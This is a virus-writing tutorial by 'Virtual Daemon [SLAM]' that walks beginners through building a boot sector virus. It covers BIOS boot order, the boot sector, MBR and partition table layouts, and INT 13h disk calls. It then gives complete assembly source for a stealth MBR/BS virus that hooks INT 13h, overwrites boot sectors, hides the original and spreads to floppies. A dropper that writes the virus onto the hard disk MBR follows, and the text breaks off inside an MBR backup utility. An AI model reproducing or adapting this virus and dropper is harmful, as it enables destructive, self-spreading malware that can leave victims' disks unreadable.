MBR/BS Infection
by Virtual Daemon [SLAM]

    1.Introduction
    ==============

       In my search for knowledge, I found many tutorials out there that were
    created to show the user how to code a simple boot sector virus. Although the
    tutes were very good in essence, all of them were missing one thing: they
    weren't created from a beginner's point of view. So, I had to learn all the
    crap alone by disassembling other viruses. It was hard for me back then to
    understand those tutorials as it is for some of you now.
       Well, this is my attempt to make you understand how a boot sector virus
    works and how can you code one. After reading this tutorial, you'll see that a
    boot sector virus is generally easier to code than a COM/EXE infector.

    2.Bootup theory
    ===============

       Most of you have computers, but not quite all of you know what really
    happens inside them. This is normal, because not everyone is a computer
    engineer. And besides that, maybe not everyone wants to know what happens
    there. Well, either way, I will try to explain some things about what happens
    when your computer boots up. The bootup process is defined as the computer's
    initialization process.
       Before we go into the real stuff, you should know that there are two "ways"
    of (re)booting your computer: cold and warm. The cold boot is activated when
    you physically switch your computer ON or when you press the Reset button. The
    warm boot is usually activated when you press Ctrl+Alt+Del. Both of them act
    almost the same, except the fact that the cold boot is first physically
    reseting the CPU line and it does some hardware tests and only after that it
    boots your computer. So, the warm boot is just a "smaller" cold boot, meaning
    that it does almost the same thing except those hardware things. If you would
    like a more complete explanation about the hardware bootup process, please
    send me an e-mail and I'll hook you up with some nice documentations.

       When your computer boots up, the CPU sets the CS:IP registers to point to
    0FFFFh:0000 (address of ROM post code). The ROM POST (Power On Self Test) code
    is actually a set of routines that will check the hardware configuration and
    will initialize the BIOS data area from 0:0400h. After jumping to CS:IP, the
    CPU will start executing the POST code, thus initializing the DMA and the PIC,
    and will test your hardware configuration.
       After that, the CPU will execute an Int 19h instruction (bootstrap loader).
       Before executing int 19h, DL will be automatically set to the physical
    drive's number where the boot sector is located.

       The boot sector is a 512-bytes (size of 1 sector) record located on track
    0, head 0, sector 1 on floppy disks and on the first logical sector of any DOS
    partitions.
       The hard disk bootup is a bit different from the floppy one, because a
    hard drive can have more than one boot sector. So, I will present the bootup
    processes separately for floppy disks and for hard disks.

       A. Diskette (floppy disk) bootup
       --------------------------------

       The BIOS will search for a boot sector on track 0, head 0, sector 1. If
    there's no disk in drive A, an error message will be displayed OR if there's a
    hard disk installed on the system, the HDD's master boot record will be loaded
    (see step B).

       If a floppy disk is in drive A, the first sector of the floppy disk (track
    0, head 0, sector 1) will be read into memory at address 0:7C00h. Then, this
    boot sector will be checked if it's a valid one, by comparing the last two
    bytes (offset 1FEh) of the sector with 55AAh. If the boot sector is valid, the
    BIOS will pass control to it. If not, an error message will be displayed, and
    the user will be prompted to insert a bootable floppy disk in drive:

              No system disk or disk error
              Replace and press any key when ready

       B. Hard disk bootup
       -------------------

       Unlike floppy disks, a hard drive can have more then one boot sector,
    because a hard drive can be partitioned. The (1st) partition table is an array
    of 64 bytes located at offset 1BEh in the Master Boot Record (on track 0, head
    0, sector 1).

       A hard disk can be divided (theoretically) into 1 to 4 partitions. This is
    certanly very helpfull for those who want to use other operating systems
    (besides DOS) on their computers. Each partition contains a boot sector on its
    first logical sector.

       When the computer boots up on a hard drive, the first sector (track 0, head
    0, sector 1) on the hard disk will be read into memory at 0:7C00h. This sector
    should contain a master bootstrap loader and a partition table. After loading
    the MBR (master boot record) into memory, the master bootstrap loader will
    examine the partition table. If one of the entries from the partition table
    indicates an active (bootable) partition, its boot sector will be read into
    memory and the system initialization will pass control to it.

       If none of the partitions is bootable, the computer will go into ROM BASIC
    or it will display a "DISK ERROR" message. If any of the boot indicators are
    invalid or if more then one indicator is marked as bootable, the system will
    display an "INVALID PARTITION TABLE" message and it will hang. If the
    partition's boot record can't be read within five retries, an "ERROR LOADING
    OPERATING SYSTEM" message will be displayed and the system will hang. Also,
    if the partition's boot record doesn't contain a valid signature (55AAh), an
    "MISSING OPERATING SYSTEM" message will be displayed and the system will also
    hang.

       If none of the above things happens (phewww... ;), then I guess something
    went wrong and you should keep restarting your system till you get an "CPU
    internal error" or something... hehehe...=) (JOKEEE! :)
       Neah... seriously now... if the partition table looks okay, the first
    logical sector of the active partition will be read into memory and the control
    will be given to it.

    3.Boot sectors, partition tables, etc...
    ========================================

       Since I told you so many things about boot sectors and partition tables
    it would be really nice (in my humble opinion ;) if I would tell you now how
    "they" actually look... :)

       So, here's the structure of the boot sector:
    .--------.------.-----------------------------------------------------------.
    | Offset | Size | Description                                               |
    .--------.------.-----------------------------------------------------------.
    |   0h   |  3   | Jump to executable code:                                  |
    |        |      |  - for DOS 2.x, 3 byte near jump (0E9h)                   |
    |        |      |  - for DOS 3.x, 2 byte near jump (0EBh) + NOP (90h)       |
    .--------.------.-----------------------------------------------------------.
    |   3h   |  8   | OEM company name and version (eg. 'MSDOS5.0')             |
    .--------'------'-----------------------------------------------------------.
    |               .--> Start of BIOS Parameter Block (BPB) and of Extended BPB|
    .--------.------.-----------------------------------------------------------.
    |   0Bh  |  2   | Bytes per sector (SectSize)                               |
    .--------.------.-----------------------------------------------------------.
    |   0Dh  |  1   | Sectors per allocation unit - cluster (ClustSize)         |
    .--------.------.-----------------------------------------------------------.
    |   0Eh  |  2   | Reserved sectors (sectors before 1st FAT)                 |
    .--------.------.-----------------------------------------------------------.
    |   10h  |  1   | Number of File Allocation Tables (FATs)                   |
    .--------.------.-----------------------------------------------------------.
    |   11h  |  2   | Maximum number of root directory entries (32 bytes each)  |
    .--------.------.-----------------------------------------------------------.
    |   13h  |  2   | Total number of sectors in media.If the logical disk size |
    |        |      |is greater then 32MB, this value is 0 and the actual size  |
    |        |      |is reported at offset 26h (DOS 4.0+)                       |
    .--------.------.-----------------------------------------------------------.
    |   15h  |  1   | Media descriptor byte (same as 1st byte in FAT)           |
    .--------.------.-----------------------------------------------------------.
    |   16h  |  2   | Number of sectors in one FAT                              |
    .--------'------.-----------------------------------------------------------.
    |               '----> End of BIOS Parameter Block (BPB)                    |
    .--------.------.-----------------------------------------------------------.
    |   18h  |  2   | Sectors per track (cylinder)                              |
    .--------.------.-----------------------------------------------------------.
    |   1Ah  |  2   | Number of read/write heads                                |
    .--------.------.-----------------------------------------------------------.
    |   1Ch  |  2   | Hidden sectors LOword (partitions < 32MB)                 |
    .--------'------'-----------------------------------------------------------.
    |                       Extended DOS v4.0+ Boot Record                      |
    .--------.------.-----------------------------------------------------------.
    |   1Eh  |  2   | Hidden sectors HIword (partitions > 32MB)                 |
    .--------.------.-----------------------------------------------------------.
    |   20h  |  4   | Total number of sectors in this disk (partitions > 32MB)  |
    .--------'------.-----------------------------------------------------------.
    |               '----> End of Extended BIOS Parameter Block (EBPB)          |
    .--------.------.-----------------------------------------------------------.
    |   24h  |  2   | Physical drive number (0=floppy, 80h=hard disk)           |
    .--------.------.-----------------------------------------------------------.
    |   26h  |  1   | Extended boot record signature (29h)                      |
    .--------.------.-----------------------------------------------------------.
    |   27h  |  4   | Volume serial number                                      |
    .--------.------.-----------------------------------------------------------.
    |   2Bh  |  11  | Volume label                                              |
    .--------.------.-----------------------------------------------------------.
    |   36h  |  8   | File System ID (eg. 'FAT12   ','FAT16   ',...,'reserved') |
    .--------.------.-----------------------------------------------------------.
    |   3eh  |  450 | Boot code & data                                          |
    '--------'------'-----------------------------------------------------------'

       Let's see now what is the master boot record's (on short MBR) structure:

                  .--------.------.------------------------------.
                  | Offset | Size |         Description          |
                  .--------.------.------------------------------.
                  |   0h   | 446  | Master bootstrap loader code |
                  .--------.------.------------------------------.
                  |  1BEh  |  16  | Partition 1 entry            |
                  .--------.------.------------------------------.
                  |  1CEh  |  16  | Partition 2 entry            |
                  .--------.------.------------------------------.
                  |  1DEh  |  16  | Partition 3 entry            |
                  .--------.------.------------------------------.
                  |  1EEh  |  16  | Partition 4 entry            |
                  .--------.------.------------------------------.
                  |  1FEh  |   2  | 55AAh signature              |
                  '--------'------'------------------------------'

       The partition record is an 16-byte array. Here is its structure:
               .--------.------.------------------------------------.
               | Offset | Size |            Description             |
               .--------.------.------------------------------------.
               |   0h   |   1  | Boot indicator                     |
               .--------.------.------------------------------------.
               |   1h   |   1  | Beginning head                     |
               .--------.------.------------------------------------.
               |   2h   |   1  | Beginning sector                   |
               .--------.------.------------------------------------.
               |   3h   |   1  | Beginning cylinder (track)         |
               .--------.------.------------------------------------.
               |   4h   |   1  | Operating system indicator         |
               .--------.------.------------------------------------.
               |   5h   |   1  | Ending head                        |
               .--------.------.------------------------------------.
               |   6h   |   1  | Ending sector                      |
               .--------.------.------------------------------------.
               |   7h   |   1  | Ending cylinder (track)            |
               .--------.------.------------------------------------.
               |   8h   |   4  | Nr. of sectors preceding partition |
               .--------.------.------------------------------------.
               |  0Ch   |   4  | Length of partition in sectors     |
               '--------'------'------------------------------------'

       The Boot indicator is 0 if the partition isn't bootable and 80h if the
    partition is bootable. Note: if more than one partition have the boot indicator
    set to 80h, the system will hang (read the "error list" above).

       The Operating System indicator is a 1 byte value which holds the current
    installed operating system. There's no point in writing the whole list (256
    values) here. The most important ones are:
       0 - unknown operating system
       1 - DOS 12 bit FAT
       4 - DOS 16 bit FAT (up to 32 MB)
       5 - DOS Extended partitions (DOS 3.3+)
       6 - DOS 3.31+ Large File System  (16 bit FAT, over 32 MB)

       The other values are assigned to other operating systems like XENIX, OS/2,
    AIX, Windows95, Novell, CP/M, Linux + many, many others...

    4.Boot sector viruses
    =====================

       A boot sector virus is a virus that infects the boot sector of floppy disks
    and in most cases the master boot record of hard disks. It usually spreads via
    floppy disks. An uninfected computer can get infected by booting from an
    infected floppy disk. There IS NO OTHER WAY a simple boot virus can infect a
    computer (except of course by using a dropper program).
       Besides the basic boot sector virus that only infects the MBR/BS of disks,
    there are also viruses wich besides infecting MBR/BS are also able to infect
    regular COM/EXE programs.
      These kind of viruses are called "multipartite". They are very dangerous,
    because unlike a simple boot virus, they can also spread on uninfected
    computers by executing an infected EXE/COM program. I shall not discuss
    multipartite viruses just for the simple fact that if you are able to code
    both a COM/EXE infector and a MBR/BS one, you can easily do them both in one
    piece. There's no big deal in coding one. You'll see that i'm right... in
    time... :)

       The infection tehnique of boot sector viruses, as in any other viruses, can
    look quite different from one virus to another. It all depends on the
    programmer's originality and knowledge.

       So, basically, an uninfected computer can become infected only by booting
    from an already infected floppy disk. There are 3 major steps in the process
    of infecting the hard disk's Master Boot Record:

     .--.
    -'  '> user boots from an infected floppy disk and the virus gets executed

    -----> the virus will save the original MBR of hard disk and will replace the
           MBR with a copy of the virus

    -.  .> the virus will execute the original MBR and the system will continue to
     '--'  initialize, BUT the virus will be active in memory

       After that, the computer's hard disk will be infected with the virus. Then,
    every floppy disk accessed SHOULD become infected.

    5.Let's code
    ============

       As I told you before, the BIOS data area (0:400h) is being initialized when
    the system boots up. This could be very important for our virus, because you
    can find the total amount of conventional memory available on your computer at
    0:413h. In most of the cases, this value is equal to 655.360 (640Kb*1024). Note
    that Int 12h returns the same value in AX.

       One of the most important things you need to know is that you CAN NOT use
    DOS interrupts AT ALL while coding a boot sector virus. Why? Simple... because
    the DOS kernel (IO/MSDOS.SYS) isn't loaded yet.So, you wont be able to call int
    21h or other DOS interrupts in your virus. You can only use the basic BIOS
    interrupts from 0h to 1fh. There are also some other BIOS interrupts you can
    use too, but they aren't too important right now. Note that the stack used by
    boot sectors is equal 0:07C00h, so SS:SP should be set to it on entry.

       Since we can't use DOS interrupts in our virus, we must find a way to write
    our virus to disk somehow. So, instead of the now popular 40h/int 21h function
    we will use the Int 13h (Disk Intput/Output) interrupt.
       Before I go any further, I shall present a bit the INT 13h subfunctions,
    because you can't code a boot sector virus without knowing some things about
    INT 13h. The most important INT 13h subfunctions are:

         AH     Subfunction
         --     -----------
         00h    Reset/recalibrate controller
         01h    Get status of last operation
         02h    Read sectors
         03h    Write sectors
         04h    Verify sectors
         05h    Format track
         08h    Get drive parameters
         09h    Initialize drive parameters tables
         0Ah    Read long sectors
         0Bh    Write long sectors
         0Ch    Seek cylinder
         0Dh    Alternate disk reset
         0Eh    Read sector buffer
         0Fh    Write sector buffer
         10h    Check if a drive is ready
         11h    Recalibrate drive
         12h    Controller RAM diagnostics
         13h    Drive diagnostics
         14h    Controller internal diagnostics
         15h    Read disk type
         16h    Read change-of-disk status
         17h    Set diskette type

       In our virus, we're only going to use subfunction 02h (read sectors) and
    subfunction 03h (write sectors).

       -> Subfnct 02h - Read sectors
       Input: AH=02h
              AL=number of sectors to read
              CH=track (cylinder) number (0-n) - low eight bits
              CL=sector number (1-n)
              DH=head number
              DL=drive (0=drive A..., 80h=first hard disk, 81h=second hard disk)
              ES:BX -> buffer to store the read data
       Output:
              CF set on error, and error code is passed in AH
              CF clear if successful
              AL=number of sectors read

       -> Subfnct 03h - Write sectors
       Input: AH=03h
              AL=number of sectors to write
              CH=track (cylinder) number (0-n) - low eight bits
              CL=sector number (1-n)
              DH=head number
              DL=drive (0=drive A..., 80h=first hard disk, 81h=second hard disk)
              ES:BX -> buffer to write to disk
       Output:
              CF set on error, and error code is passed in AH
              CF clear if successful
              AL=number of sectors writen

       A boot sector virus can be divided into 3 parts: the part that actually
    installs the virus in memory and grabs the Int 13h, the INT 13h handler and the
    infection and/or stealth part.

      A. Virus installation
      ---------------------
       This can be done in several ways, one better than another. Many virus
    writers prefere to infect the boot sector when they are installing the virus
    in memory. Others just install the virus and choose to infect the boot sector
    when INT 13h is called. I will present the second case, since it's much easier
    to understand. Then, when you'll grow up you can do it as you wish! :)
       The steps in installing the virus in memory are:
       -> Allocate memory for your virus, and then copy the virus there
       -> Modify the INT 13h interrupt vector with your own handler
       -> Return control to the original boot sector

       Okay... now let's take each step separately...

          1) Allocate memory for your virus, and then copy the virus there
          ----------------------------------------------------------------
       Since we're talking about boot stuff here, I must tell you again that you
    can not use any DOS stuff. And that includes MCBs (Memory Control Block) too.
    There's no such thing as MCB or PSP or anything else there. That means that
    you can't allocate memory as a normal file infector does.
       Well, the only way to allocate memory for your virus, is to decrease the
    TOM (Top Of Memory). You can find the total size of memory at 0:413h (BIOS
    data area). Usually, this value is equal to 640 Kb. So, all you have to do is
    to subtract the amount of memory you need from there.
       But before you allocate anything, it would be very wise to set the stack
    (SS:SP) to 0:7C00h, because the stack used by boot sectors is always equal to
    that value.
       So, you have stolen 1 Kb of memory from TOM. All you have to do now is to
    find the segment of the address where you're gonna copy your virus. This can
    be done very easily. You must get first the new size of memory which should be
    639 Kb if you subtracted 1 KB, and then you must convert the value in
    paragraphs. A paragraph is a 16-byte block of memory (2^4). The memory size
    is stored in KBytes, and 1 KByte=1024 Bytes (2^10). So all you have to do in
    order to get the segment is to shift the new value with 6 (or to divide it
    with 2^6). Then, put the result in ES, set DS:SI to the beginning of your
    virus and then do a rep movsX (Byte, Word, Dword). The virus will be copied
    in memory.

       Here's some code for what I just said:

    ;set the stack to 0:7C00h
    install_virus:                         ;simple label
       xor ax,ax                           ;clear AX
       cli                                 ;disable interrupts
       mov ss,ax                           ;SS=0
       mov sp,7C00h                        ;SP=7C00h
       sti                                 ;enable interrupts
    ;decrease the TOM with 1Kb
       mov ds,ax                           ;DS=0
       dec word ptr ds:[413h]              ;subtract 1 Kb of memory
       mov ax,word ptr ds:[413h]           ;get the new value (should be=639 Kb)
                                 ;note that you can also use INT 12h for that
    ;find a new segment for your virus and then copy your virus there
       mov cl,6
       shl ax,cl                           ;convert from kilobytes to paragraphs
       mov es,ax                           ;ES is now equal to the new segment
       mov si,7C00h                        ;DS:SI=0:7C00h (beginning of virus)
       xor di,di                           ;ES:DI=ES:0
       mov cx,256                          ;how many bytes to copy
       cld
       rep movsw                           ;copy CX*2 bytes from DS:SI to ES:DI

       Since your virus is copied in memory, you can now easily jump there, coz
    there's nothing really you can still do here. Example:

       push es                             ;save the new segment on stack
       lea ax,[inmemory]
       push ax                             ;save the offset where to jump
       retf                                ;jump to our virus in memory
    inmemory:
    ; .... modify the INT 13h interrupt vector... etc

            2) Modify the INT 13h interrupt vector with your own handler
            ------------------------------------------------------------
       Now your virus should be in memory. To activate it, you must set the INT
    13h vector to point to your handler. This way, everytime INT 13h gets called,
    you'll be the first to know... ;)
       An example of how can you modify the vector is:

    ;ES must hold the new segment and DS must be equal to 0
       mov ax, word ptr ds:[13h*4]         ;get the original int 13h entrypoint
       mov word ptr cs:[old_13h], ax       ;and save it into our variable
       mov ax, word ptr ds:[13h*4+2]
       mov word ptr cs:[old_13h+2], ax

       mov word ptr ds:[13h*4+2],es        ;set the segment
       lea ax,myint13h                     ;set the new interrupt handler to
       mov word ptr ds:[13h*4], ax         ;point to "myint13h"

                    3) Return control to the original boot sector
                    ---------------------------------------------
       Since we're going to stealth our virus, the easier way to execute the
    original boot sector is to perfom an Int 19h.
       The 19h interrupt will read the first sector of drive (specified in DL) in
    memory into address 0:7C00h and then it will transfer the control there. For
    reading the first sector located on track 0, head 0 into memory, Int 19h makes
    use of Int 13h's read subfunction (AH=2). Since our virus has already modified
    the Int 13h offset to point to our interrupt handler, it will intercept this
    read call aswell.
       Our virus will first verify if the sector has already been infected. If it
    hasn't, the virus will first read the uninfected boot sector in memory (thus
    not screwing things up) and then it will infect the boot sector.
       If the sector is infected with our virus, then our stealth routine will
    redirect the read call to the original MBR/BS which in turn will be loaded into
    0:7C00h and then executed there. This way, everything will go according to
    our plans.
       Note that the Int 19h DOESN'T clear the memory! It just reboots the
    computer...

      B. The INT 13h handler
      ----------------------
       This is one of the most important parts of your virus. You have to do some
    subfunction checking here in order to know exactly when to infect and when to
    stealth your virus. An example should look like this:

    myint13h:
       cmp dh,0                            ;check if head 0
       jne exit_handler
       cmp cx,1                            ;check if sector 1 and track 0
       jne exit_handler
       cmp ah,2                            ;read from sector 1 ?
       jne exit_handler
       call int13                          ;fake the call
       jnc read_call                       ;if no error, jump to our code
    exit_handler:
       db 0eah                             ;else jump to the original Int 13h
    old_13h dd ?

       After checking for the read call (to 0,0,1), the virus will fake a int 13h
    call. This way, the buffer from ES:BX will be filled up with the sector that
    was read. If the read was successfull, then we jump to our infection/stealth
    procedure... if not, we jump back to the original vector.

       Here is a piece of code that will fake an int 13h call:

    int13:
       pushf                               ;push flags on stack
       call dword ptr cs:[old_13h]         ;call the original entrypoint of int 13h
       ret                                 ;return to the caller

      C. Infection/Stealth procedures
      -------------------------------
       Here is the part that actually MULTIPLIES/HIDES your virus.

       Before explaining the true infection routine, I must take a break to tell
    you some <other> things about boot sectors. There are several free spaces on
    your hard drive where you can store the original boot sector. There are some
    free sectors at head 0, track 0, from sector 2 upwards. You could also store
    the original boot sector at the end of your HDD, because there are very small
    chances that you'll fill up the WHOLE hdd. Another smart thing to do would be
    to choose a sector on the drive, copy the original stuff there, and then mark
    the sector as bad from FAT.

       SO, how will we infect? Well... again... there are more than one way to
    do it. As usual, I'll choose the easier one: we'll replace the boot sector
    with our virus and we'll save the original boot sector somewhere else on
    disk. Then, when someone asks for it, we'll intercept the read function and
    we'll stealth our virus by showing the user the original sector.

       Since we'll replace the whole MBR, it's obvious that the partition table
    from 1BEh will be overwriten by our virus and the hard disk won't be
    accessible when booted from a clean diskette. The HDD will only work when the
    virus is resident in memory. Almost the same thing goes for floppy disks. The
    difference is that we have to make the floppy disks work on uninfected systems
    too, coz if they don't, the virus won't spread anymore. The important stuff
    from a boot sector are those 3Ch bytes, from offset 2 to 3Eh. So, we must save
    them in our virus (of course, at the same offsets). Basically, an infected boot
    sector should look like this:

                      .--------.------.-------------------------.
                      | Offset | Size |      Description        |
                      .--------.------.-------------------------.
                      |   0    |   2  | Jmp short to viral code |
                      |   2    |  3Ch | Boot (saved) stuff      |
                      |   3Eh  |  450 | Viral code              |
                      '--------'------'-------------------------'

       If you look again at the Int 13h interrupt handler, you will see that I
    choosed to "do something" only when a read call to head 0, track 0, sector 1
    has been made. This is very effective and easy to understand, BUT later when
    you will create your own boot virus, I suggest you to "intercept" and work with
    other int 13h functions aswell (write, verify...).

       The fake call from the int 13h handler will fill the buffer from ES:BX with
    the first sector of the drive. Now here begins the real thing...

       First we save the ES:BX (and other registers too) because they are all going
    to be modified later. We will of course, restore them right before we exit
    from our infection/stealth procedure.

       pushf                               ;save everything on stack
       pusha
       push ds es

       Then we must check if the read sector is already infected with our virus.
    If the sector is already infected, there's no need for us to infect again. We
    will just stealth the sector by reading the original MBR/BS in memory.If the
    sector isn't infected we'll infect it.
       For checking if the sector has already been infected, we can simply use a
    string identifier in our virus. Example:

    vmark  db 'VDaemon'

       ....
       cmp word ptr es:[bx+offset vmark],'DV'   ;check to see if infected
       je stealth                          ;already infected => stealth
       jmp infect                          ;not infected => infect it

       Now let's go back to what I said earlier about saving those 3Ch bytes in
    our virus. This can be done very easy by reading the original boot sector
    to a free zone and then by copying the important bytes from it to our virus.

    ;first we set up the DS and ES registers to point to the Code Segment
       push cs cs
       pop ds es                           ;DS=ES=CS

    ;Our virus begins at CS:0 and ends at CS:512, so the original MBR/BS will be
    ;read right after our virus in memory. This way, the MBR/BS will start at
    ;CS:512 and it will end at CS:1024
    ;note that CL=1,CH=0,DH=0
       mov bx,512                          ;put it in CS:512
       mov ax,201h                         ;read one sector
       call int13                          ;do it

    ;now we copy those 3Ch bytes from CS:514 (offset 2 of the original BS) to
    ;CS:2 (offset 2 of our virus)
       mov cx,3ch                          ;copy 3ch bytes
       mov si,514                          ;from CS:514
       mov di,2                            ;to CS:2
       cld                                 ;clear direction flag
       rep movsb                           ;move from DS:SI to ES:DI

       Since we will copy the bytes to offset 2 in our virus, it's quite obvious
    that we MUST have a free zone there. In other words, our virus must look like
    this:

    begin:                                 ;here begins our virus
       jmp short install_virus             ;jump to the real viral body (2 bytes)
       db 3ch dup (0)                      ;buffer used for saving the floppy stuph
    install_virus:
       ...

       Now our buffer is filled up and we can continue our infection process. Since
    ES:BX still points to the original MBR/BS (read in CS:512), we can now write
    the original sector to disk. But in order to do that, we must first find a
    free place to store it.
       Again, this can be done in many ways (see above), but because I want to
    keep things as easier as possible to understand, I'll just use sector 2 for
    storing the hard disk's MBR (head 0, track 0, sector 2) and sector 14 (head 0,
    track 1, sector 14) for floppy disk's BS. Since the two sectors are located
    in different places, we must check out on what kind of disk are we working.
    In other words, we must check on what disk is the read call being made. Here's
    the code:

       mov cx,2                            ;original MBR in sector 2
       cmp dl,79h                          ;check if hard drive
       ja hard_disk                        ;DL>79h => hard disk, else floppy disk
       mov dh,1                            ;original BS in head 1
       mov cx,14                           ;... sector 14
    hard_disk:
       ...

       Now that we have the original MBR/BS at CS:512 and the sector to write to
    in CX, we can write it to disk.

    ;CX, DX and ES:BX must contain the sector (track, head) and the address of the
    ;buffer where we read the original MBR/BS in memory
       mov ax,301h                         ;write the original MBR/BS
       call int13                          ;write it to disk

       Everything has been done and the BIG moment has arrived. All that's left to
    be done is to write our virus to 0,0,1 (head 0, track 0, sector 1) over the
    old MBR/BS.

       xor bx,bx                           ;from CS:0
       xor dh,dh                           ;to head 0
       mov cx,1                            ;track 0, sector 1
       mov ax,301h                         ;write our virus
       call int13

       Now we will restore the previous saved registers and we will exit our
    procedure with a retf 2 instruction. Why 'retf 2'? Easy... Because we have to
    make a double pop from stack. Here's the explanation:
       First, look at our int13h procedure:
    int13:
       pushf                               ;push flags on stack
       call dword ptr cs:[old_13h]         ;call the original entrypoint of int 13h
       ret                                 ;return to the caller

       As you can see, we first save the flags on stack. That's the FIRST push we
    make. The SECOND one is made by the call function itself. Normally, everything
    goes as usual in a call - ret cicle. Here we don't have that ret, because the
    exit from the interrupt handler is made via an IRET instruction. This way, we
    are stucked just with the call.

       pop es ds                           ;pop everything from the stack
       popa
       popf
       retf 2                              ;free the stack

       This is how the infection procedure must look like. Now let's talk about
    the stealth part...
       The stealth part is much easier to understand, because all that we have
    to do is to read the original sector in memory (thus overwritting the ES:BX).
       First we must check on what sector the original MBR/BS is stored...

       mov cx,2                            ;original MBR in sector 2
       cmp dl,79h                          ;check if hard drive
       ja hard_disk                        ;DL>79h => hard disk, else floppy disk
       mov dh,1                            ;original BS in head 1
       mov cx,14                           ;... sector 14
    hard_disk:

       As you can see, this looks exactly the same as the one from the infection
    part.
       Now all that's left to be done is to read the sector in memory using int
    13h's read subfunction.

       mov ax,201h                         ;read the original MBR/BS in memory
       call int13

       Well, this is IT! :) Wasn't that hard to understand, was it?
       Now let's put it all together....

    ;  ----------- cut here -----------
    ;  Boot sector virus example
    ;  coded by Virtual Daemon/SLAM for the MBR/BS infection tutorial
    ;
    ;  Compile it with: tasm /m example.asm | tlink /x example.obj
    ;                   exe2bin example.exe
    ;  and then use the dropper program located at the end of the virus
    ;
    .286
    .model tiny
    .code
       org 0
    begin:                                 ;here begins our virus
       jmp short install_virus             ;jump to the real viral body (2 bytes)
       db 3ch dup (0)                      ;buffer used for saving the floppy stuph
    install_virus:
       xor ax,ax                           ;clear AX
       cli                                 ;disable interrupts
       mov ss,ax                           ;SS=0
       mov sp,7C00h                        ;SP=7C00h
       sti                                 ;enable interrupts
    ;decrease the TOM with 1Kb
       mov ds,ax                           ;DS=0
       dec word ptr ds:[413h]              ;subtract 1 Kb of memory
       mov ax,word ptr ds:[413h]           ;get the new value (should be=639 Kb)
                                 ;note that you can also use INT 12h for that
    ;find a new segment for your virus and then copy your virus there
       mov cl,6
       shl ax,cl                           ;convert from kilobytes to paragraphs
       mov es,ax                           ;ES is now equal to the new segment
       mov si,7C00h                        ;DS:SI=0:7C00h (beginning of virus)
       xor di,di                           ;ES:DI=ES:0
       mov cx,256                          ;how many bytes to copy
       cld
       rep movsw                           ;copy CX*2 bytes from DS:SI to ES:DI

       push es                             ;save the new segment on stack
       lea ax,[inmemory]
       push ax                             ;save the offset where to jump
       retf                                ;jump to our virus in memory
    inmemory:
       mov ax, word ptr ds:[13h*4]         ;get the original int 13h entrypoint
       mov word ptr cs:[old_13h], ax       ;and save it into our variable
       mov ax, word ptr ds:[13h*4+2]
       mov word ptr cs:[old_13h+2], ax

       mov word ptr ds:[13h*4+2],es        ;set the segment
       lea ax,myint13h                     ;set the new interrupt handler to
       mov word ptr ds:[13h*4], ax         ;point to "myint13h"

       int 19h                             ;reboot with the virus in memory

    myint13h:
       cmp dh,0                            ;check if head 0
       jne exit_handler
       cmp cx,1                            ;check if sector 1 and track 0
       jne exit_handler
       cmp ah,2                            ;read from sector 1 ?
       jne exit_handler
       call int13                          ;fake the call
       jnc read_call                       ;if no error, jump to our code
    exit_handler:
       db 0eah                             ;else jump to the original Int 13h
    old_13h dd ?

    read_call:
       pushf                               ;save everything on stack
       pusha
       push ds es

       cmp word ptr es:[bx+offset vmark],'DV'   ;check to see if infected
       je stealth                          ;already infected => stealth
                                           ;not infected => infect it
       push cs cs
       pop ds es                           ;DS=ES=CS

       mov bx,512                          ;put it in CS:512
       mov ax,201h                         ;read one sector
       call int13                          ;do it

       mov cx,3ch                          ;copy 3ch bytes
       mov si,514                          ;from CS:514
       mov di,2                            ;to CS:2
       cld                                 ;clear direction flag
       rep movsb                           ;move from DS:SI to ES:DI

       call choose_sector
       mov ax,301h                         ;write the original MBR/BS
       call int13                          ;write it to disk

       xor bx,bx                           ;from CS:0
       xor dh,dh                           ;to head 0
       mov cx,1                            ;track 0, sector 1
       mov ax,301h                         ;write our virus
       call int13
       jmp short exit
    stealth:
       mov ax,201h                         ;read the original MBR/BS in memory
       call choose_sector
       call int13
    exit:
       pop es ds                           ;pop everything from the stack
       popa
       popf
       retf 2

    choose_sector:
       mov cx,2                            ;original MBR in sector 2
       cmp dl,79h                          ;check if hard drive
       ja hard_disk                        ;DL>79h => hard disk, else floppy disk
       mov dh,1                            ;original BS in head 1
       mov cx,14                           ;... sector 14
    hard_disk:
       ret

    int13:
       pushf                               ;push flags on stack
       call dword ptr cs:[old_13h]         ;call the original entrypoint of int 13h
       ret                                 ;return to the caller

    vmark  db 'VDaemon'                    ;virus signature
       org 1feh                            ;1feh=510=(512-word)
       db 055h,0aah                        ;boot signature
    end begin
    ;  ----------- cut here -----------

       And here goes a little dropper for the virus...
    ;  ----------- cut here -----------
    ; tasm dropper.asm | tlink /x /t dropper.obj
    ;
    .model tiny
    .code
       org 100h
    start:
    ;read the original MBR in memory
       mov ax,201h
       mov dx,80h
       mov cx,1
       push cs
       pop es
       lea bx,after_end
       int 13h
    ;write the original MBR to disk (0,0,2)
       mov dx,80h
       mov cx,2
       mov ax,301h
       lea bx,after_end
       int 13h
    ;read the virus from file
       mov ax,3d00h
       lea dx,virus_sample
       int 21h
       xchg bx,ax
       mov ah,3fh
       lea dx,after_end
       mov cx,512
       int 21h
       mov ah,3eh
       int 21h
    ;write the virus to disk (0,0,1)
       mov dx,80h
       mov ax,301h
       lea bx,after_end
       mov cx,1
       int 13h
    ;exit to operating system
       mov ax,4c00h
       int 21h
    virus_sample db 'example.bin',0
    after_end:
    end start
    ;  ----------- cut here -----------

    6.Saving/restoring the MBR
    ==========================

       Okay now... There are some other important things we need to talk about.
    Some of you will still be scared after reading this tutorial: "Wha? No way
    man... I'm not gonna try to make no fuckin' BS virus. Stupid Virtual Daemon...
    what if I wont be able to recover my disk afterwards? What's going to happen
    if I'll erase my MBR by mistake?"
       Well, you must feel lucky because I haven't forgoten to mention some things
    about it on this crappy tutorial. So, in order to help you with your problems
    I "created" a lame program who will save/restore the MBR/BS of your hard disk.
    So, whoooa...:) This is like a backup for your boot sector/partition table =)

       The program needs a parameter: either '0' for saving the MBR/BS of the
    first hard disk into a file (BOOTPART.CAP), either '1' for restoring the old
    copy of the MBR/BS (from BOOTPART.CAP).

       Use tasm/tlink to compile it.
    --< cut here >--
    .286
    .model tiny
    .code
       org 100h
    start:
       mov ah,62h                           ;get the current PSP address
       int 21h
       mov es,bx                            ;ES=seg of PSP for current process
       mov al,byte ptr es:82h               ;point to the DOS command line
       cmp al,'0'                           ;if 1st param='0' then save everything
       je read_save_all
       cmp al,'1'                           ;else, restore everything
       je write_restore_all

       push cs                              ;if no param entered, display err msg
       pop ds
       mov ah,9
       lea dx,params
